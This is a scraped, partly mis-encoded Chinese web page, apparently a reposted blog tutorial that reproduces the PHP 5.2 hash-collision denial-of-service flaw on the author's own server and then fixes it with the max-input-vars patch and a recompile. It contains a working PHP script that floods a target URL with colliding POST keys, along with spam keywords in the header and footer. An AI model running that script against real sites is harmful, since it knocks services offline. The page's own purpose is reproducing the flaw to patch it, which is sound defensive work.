国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 服務(wù)器 > Web服務(wù)器 > 正文

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

2024-09-01 13:43:05
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
最近,一直忙于編寫(xiě)《2012自學(xué)CCNP路由與交換課程》,目前寫(xiě)到了第四章了,所以沒(méi)有時(shí)間來(lái)處理linux平臺(tái)下的工作,今天抽空研究了一個(gè)前不久,出的一個(gè)BUG,PHP 5.2/5.3 Hash漏洞,造成一臺(tái)機(jī)器就可以DDOS攻擊互聯(lián)網(wǎng)上的PHP網(wǎng)站。

我們先看下環(huán)境,這個(gè)網(wǎng)站是LAMP架構(gòu),PHP版本是5.2.17。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

PHP未打補(bǔ)丁前,服務(wù)器CPU情況,目前是2.1%的使用率。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

    我們?cè)谶@臺(tái)web服務(wù)器上編寫(xiě)一個(gè)PHP程序,目的是要測(cè)試機(jī)去Hash它,以便故障重現(xiàn)。
程序語(yǔ)言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
執(zhí)行后的效果是取當(dāng)前服務(wù)器的時(shí)間。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

    找臺(tái)有PHP環(huán)境的測(cè)試機(jī)器,這臺(tái)機(jī)器我用虛擬機(jī),里面有LAMP環(huán)境。進(jìn)/usr/local/apache/htdocs目錄,寫(xiě)一PHP網(wǎng)頁(yè),程序語(yǔ)言如下:
[root@blog htdocs]# Vi hash.php

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

   url地址,為你要作測(cè)試的目標(biāo)機(jī),i<100,表示最多100個(gè)并發(fā)。手工執(zhí)行hash.php,進(jìn)行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務(wù)器端,我們?nèi)タ捶?wù)器的資源利用情況,CPU是97.6%,看樣子單臺(tái)虛擬機(jī),拿100并發(fā)去Hash,就足夠把web服務(wù)器的CPU利用率升至100%。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


    Cpu到了100%,網(wǎng)站是什么情況呢。我們?cè)贋g覽該臺(tái)web服務(wù)器,點(diǎn)網(wǎng)站上面的鏈接,反應(yīng)正常,估計(jì)是這臺(tái)web服務(wù)器本身沒(méi)有一點(diǎn)壓力,所以看不出來(lái)。把并發(fā)量調(diào)到10000,再測(cè)下,剛才是100并發(fā)。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

刷新checktime.php頁(yè)面,可以很快顯示,網(wǎng)站正常。但此時(shí)web服務(wù)器cpu已是100%

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


   結(jié)論,我是用個(gè)人博客作目標(biāo)機(jī),因?yàn)閭€(gè)人博客,目前只有幾個(gè)人訪問(wèn),沒(méi)有壓力,所以即使,通過(guò)10000并發(fā)的Hash,CPU上到100%,個(gè)人博客打開(kāi)的速度,還是相當(dāng)快。

打上補(bǔ)丁,我們?cè)儆^察一下。
1、先查下以后在搭建環(huán)境時(shí),PHP的編譯參數(shù)

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

2、到網(wǎng)上去下載一個(gè)PHP補(bǔ)丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


3、根據(jù)個(gè)人平臺(tái)的版本號(hào),點(diǎn)擊進(jìn)去,注意,不要在它上面點(diǎn)右鍵,另存為,否則你down下的是一個(gè)html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁(yè)面點(diǎn)“raw”,就會(huì)打開(kāi)這個(gè)補(bǔ)丁文件。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


   把里面的內(nèi)容復(fù)制,我這里只截了它一小部分。然后在web服務(wù)器上新建一個(gè)文件,php-5.2.17-max-input-vars.patch,里面就是剛復(fù)制的。

4、進(jìn)php的原始安裝目錄,我這里環(huán)境是/opt/soft/php-5.2.17。先把原來(lái)已編譯好的一些,清理一下。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


5、打補(bǔ)丁并重新編譯一下php

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺(tái)是make,每個(gè)環(huán)境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問(wèn)一下,web服務(wù)器的phpinfo.php,查看PHP環(huán)境有沒(méi)有變化。大家可以在最上面看到,PHP版本后帶了個(gè)P1。這個(gè)還不夠,我們?cè)儆肏ash碰撞一下,看cpu會(huì)不會(huì)上100%。
PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法


在測(cè)試機(jī)上,還是取并發(fā)10000,去Hash web服務(wù)器。發(fā)現(xiàn)web服務(wù)器的CPU一直保持在0.5%。

PHP Hash沖突導(dǎo)致 CPU 100%的完全解決方法

 

問(wèn)題解決!

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 罗江县| 诏安县| 潼关县| 介休市| 名山县| 隆化县| 衡山县| 屏山县| 鄯善县| 皋兰县| 刚察县| 临城县| 邓州市| 卢湾区| 汾阳市| 科技| 花莲县| 类乌齐县| 龙山县| 延寿县| 湟源县| 科技| 平江县| 友谊县| 双城市| 新源县| 三门县| 玛纳斯县| 北票市| 徐州市| 肥东县| 喀喇沁旗| 博客| 老河口市| 南木林县| 巴南区| 富蕴县| 静安区| 界首市| 东明县| 潞西市|